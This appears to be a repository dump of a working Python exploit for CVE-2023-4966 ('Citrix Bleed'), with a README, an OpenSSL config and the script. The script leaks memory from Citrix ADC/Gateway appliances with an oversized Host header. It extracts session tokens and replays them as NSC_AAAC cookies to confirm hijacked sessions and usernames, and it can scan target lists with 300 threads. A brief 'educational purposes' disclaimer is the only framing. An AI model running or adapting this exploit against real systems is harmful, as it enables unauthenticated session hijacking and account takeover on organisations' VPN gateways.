├── requirements.txt ├── openssl.cnf ├── README.md └── exploit.py /requirements.txt: -------------------------------------------------------------------------------- 1 | alive_progress==3.1.4 2 | hexdump==3.3 3 | requests==2.25.1 4 | rich==13.6.0 5 | -------------------------------------------------------------------------------- /openssl.cnf: -------------------------------------------------------------------------------- 1 | openssl_conf = openssl_init 2 | 3 | [openssl_init] 4 | ssl_conf = ssl_sect 5 | 6 | [ssl_sect] 7 | system_default = system_default_sect 8 | 9 | [system_default_sect] 10 | Options = UnsafeLegacyRenegotiation 11 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2023-4966 Citrix Memory Leak Exploit 🔒 2 | 3 | Leak session tokens from vulnerable Citrix ADC instances affected by CVE-2023-4966. ⚠️ 4 | 5 | ## Description 📃 6 | 7 | This Python script exploits CVE-2023-4966, a critical vulnerability in Citrix ADC instances that allows unauthenticated attackers to leak session tokens. The vulnerability is assigned a CVSS score of 9.4 and is remotely exploitable without user interaction. Citrix NetScaler appliances configured as Gateways (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or AAA virtual servers are vulnerable to this attack. :skull_and_crossbones: 8 | 9 | ## Usage 💻 10 | 11 | ```bash 12 | $ OPENSSL_CONF=./openssl.cnf python3.10 exploit.py -h 13 | ``` 14 | 15 | Options: 16 | - `-h, --help`: Show the help message and exit. ℹ️ 17 | - `-u URL, --url URL`: Specify the Citrix ADC / Gateway target (e.g., https://192.168.1.200). 🔗 18 | - `-f FILE, --file FILE`: Provide a file containing a list of target URLs (one URL per line). 📁 19 | - `-o OUTPUT, --output OUTPUT`: Specify the file to save the output results. 💾 20 | - `-v, --verbose`: Enable verbose mode. 🔊 21 | - `--only-valid`: Only show results with valid session tokens. 22 | 23 | ## How to Use 💡 24 | 25 | 1. Clone the repository: 26 | ```bash 27 | $ git clone https://github.com/Chocapikk/CVE-2023-4966.git 28 | $ cd CVE-2023-4966 29 | ``` 30 | 31 | 2. Run the exploit: 32 | 33 | For a single target: 34 | ```bash 35 | $ OPENSSL_CONF=./openssl.cnf python3.10 exploit.py -u https://target.example.com 36 | ``` 37 | 38 | For multiple targets listed in a file: 39 | ```bash 40 | $ OPENSSL_CONF=./openssl.cnf python3.10 exploit.py -f targets.txt --only-valid 41 | ``` 42 | 43 | Use the `-o` flag to specify an output file for the results: 44 | 45 | ```bash 46 | $ OPENSSL_CONF=./openssl.cnf python3.10 exploit.py -u https://target.example.com -o results.txt --only-valid 47 | ``` 48 | 49 | To enable verbose mode, use the `-v` flag. 🔊 50 | 51 | ## Credits 👏 52 | 53 | This exploit is inspired by the research conducted by [Assetnote](https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966). 🙌 54 | 55 | ## Disclaimer ⚠️ 56 | 57 | This script is provided for educational and research purposes only. Use it responsibly and only on systems you have permission to test. 🛡️ 58 | 59 | --- 60 | 61 | ## Note 📝 62 | 63 | During my research, I found that the session cookies always end with the hex sequence `45525d5f4f58455e445a4a42`. Incorporating this information can greatly enhance the accuracy of session token detection. -------------------------------------------------------------------------------- /exploit.py: -------------------------------------------------------------------------------- 1 | import re 2 | import sys 3 | import hexdump 4 | import argparse 5 | import requests 6 | 7 | from rich.console import Console 8 | from urllib.parse import urlparse 9 | from alive_progress import alive_bar 10 | from typing import List, Tuple, Optional, TextIO 11 | from concurrent.futures import ThreadPoolExecutor, as_completed 12 | 13 | warnings = requests.packages.urllib3 14 | warnings.disable_warnings(warnings.exceptions.InsecureRequestWarning) 15 | 16 | class CitrixMemoryDumper: 17 | 18 | def __init__(self): 19 | self.console = Console() 20 | self.parser = argparse.ArgumentParser(description='Citrix ADC Memory Dumper') 21 | self.setup_arguments() 22 | self.results: List[Tuple[str, str]] = [] 23 | self.output_file: Optional[TextIO] = None 24 | if self.args.output: 25 | self.output_file = open(self.args.output, 'w') 26 | 27 | def setup_arguments(self) -> None: 28 | self.parser.add_argument('-u', '--url', help='The Citrix ADC / Gateway target (e.g., https://192.168.1.200)') 29 | self.parser.add_argument('-f', '--file', help='File containing a list of target URLs (one URL per line)') 30 | self.parser.add_argument('-o', '--output', help='File to save the output results') 31 | self.parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose mode') 32 | self.parser.add_argument('--only-valid', action='store_true', help='Only show results with valid sessions') 33 | self.args = self.parser.parse_args() 34 | 35 | def print_results(self, header: str, result: str) -> None: 36 | if self.args.only_valid and "[+]" not in header: 37 | return 38 | 39 | formatted_msg = f"{header} {result}" 40 | self.console.print(formatted_msg, style="white") 41 | if self.output_file: 42 | self.output_file.write(result + '\n') 43 | 44 | def normalize_url(self, url: str) -> str: 45 | if not url.startswith("http://") and not url.startswith("https://"): 46 | url = f"https://{url}" 47 | 48 | parsed_url = urlparse(url) 49 | normalized_url = f"{parsed_url.scheme}://{parsed_url.netloc}" 50 | return normalized_url 51 | 52 | def dump_memory(self, url: str) -> None: 53 | full_url = self.normalize_url(url) 54 | headers = { 55 | "Host": "a" * 24576 56 | } 57 | 58 | try: 59 | r = requests.get( 60 | f"{full_url}/oauth/idp/.well-known/openid-configuration", 61 | headers=headers, 62 | verify=False, 63 | timeout=10, 64 | ) 65 | content_bytes = r.content 66 | 67 | if r.status_code == 200 and content_bytes: 68 | 69 | if b"\x00"*16 in content_bytes: 70 | cleaned_content = self.clean_bytes(content_bytes) 71 | for _ in range(10): 72 | cleaned_content = cleaned_content.replace(b'a'*65, b'').replace(b'a'*32, b'') 73 | content_bytes = content_bytes.replace(b'a'*65, b'').replace(b'a'*32, b'') 74 | 75 | if self.args.verbose and self.args.url: 76 | self.results.append(("[bold blue][*][/bold blue]", f"Memory Dump for {full_url}")) 77 | hex_output = hexdump.hexdump(content_bytes, result='return').strip() 78 | self.results.extend([("", line) for line in hex_output.splitlines()]) 79 | self.results.append(("[bold blue][*][/bold blue]", "End of Dump\n")) 80 | 81 | session_tokens = self.find_session_tokens(content_bytes) 82 | valid_token_found = False 83 | for token in session_tokens: 84 | if self.test_session_cookie(full_url, token): 85 | valid_token_found = True 86 | 87 | if not valid_token_found: 88 | if not self.args.only_valid: 89 | if self.args.url: 90 | self.results.append(("[bold yellow][!][/bold yellow]", f"Partial memory dump but no valid session token found for {full_url}.")) 91 | else: 92 | self.results.append(("[bold green][+][/bold green]", f"Vulnerable to CVE-2023-4966. Endpoint: {full_url}, but no valid session token found.")) 93 | elif self.args.verbose and self.args.url: 94 | self.results.append(("[bold red][-][/bold red]", f"Could not dump memory for {full_url}.")) 95 | 96 | except Exception as e: 97 | if self.args.verbose and self.args.url: 98 | self.results.append(("[bold red][-][/bold red]", f"Error processing {full_url}: {str(e)}.")) 99 | 100 | def clean_bytes(self, data: bytes) -> bytes: 101 | return b''.join(bytes([x]) for x in data if 32 <= x <= 126) 102 | 103 | def find_session_tokens(self, content_bytes: bytes) -> List[str]: 104 | TOKEN_65_PATTERN = re.compile(rb'(?=([a-f0-9]{65}))') 105 | TOKEN_32_PATTERN = re.compile(rb'(?=([a-f0-9]{32}))') 106 | 107 | sessions_65 = [match.group(1).decode('utf-8') for match in TOKEN_65_PATTERN.finditer(content_bytes) if match.group(1).endswith(b'45525d5f4f58455e445a4a42') and not match.group(1).startswith(b'a'*65)] 108 | sessions_32 = [match.group(1).decode('utf-8') for match in TOKEN_32_PATTERN.finditer(content_bytes) if not match.group(1).startswith(b'a'*32)] 109 | 110 | combined_sessions = list(dict.fromkeys(sessions_65 + sessions_32)) 111 | return combined_sessions 112 | 113 | def test_session_cookie(self, url: str, session_token: str) -> bool: 114 | headers = { 115 | "Cookie": f"NSC_AAAC={session_token}" 116 | } 117 | try: 118 | r = requests.post( 119 | f"{url}/logon/LogonPoint/Authentication/GetUserName", 120 | headers=headers, 121 | verify=False, 122 | timeout=10, 123 | ) 124 | 125 | if r.text.count('\n') > 0: 126 | return False 127 | 128 | if r.status_code == 200: 129 | username = r.text.strip() 130 | self.results.append(("[bold green][+][/bold green]", f"Vulnerable to CVE-2023-4966. Endpoint: {url}, Cookie: {session_token}, Username: {username}")) 131 | return True 132 | else: 133 | return False 134 | except Exception as e: 135 | if self.args.verbose and self.args.url: 136 | self.results.append(("[bold red][-][/bold red]", f"Error testing cookie for {url}: {str(e)}.")) 137 | return False 138 | 139 | def run(self) -> None: 140 | if self.args.url: 141 | self.dump_memory(self.args.url) 142 | for header, result in self.results: 143 | self.print_results(header, result) 144 | elif self.args.file: 145 | with open(self.args.file, 'r') as file: 146 | urls = file.read().splitlines() 147 | with ThreadPoolExecutor(max_workers=300) as executor, alive_bar(len(urls), bar='smooth', enrich_print=False) as bar: 148 | futures = {executor.submit(self.dump_memory, url): url for url in urls} 149 | for future in as_completed(futures): 150 | for header, result in self.results: 151 | self.print_results(header, result) 152 | self.results.clear() 153 | bar() 154 | else: 155 | self.console.print("[bold red][-][/bold red] URL or File must be provided.", style="white") 156 | sys.exit(1) 157 | 158 | if self.output_file: 159 | self.output_file.close() 160 | 161 | if __name__ == "__main__": 162 | dumper = CitrixMemoryDumper() 163 | dumper.run() --------------------------------------------------------------------------------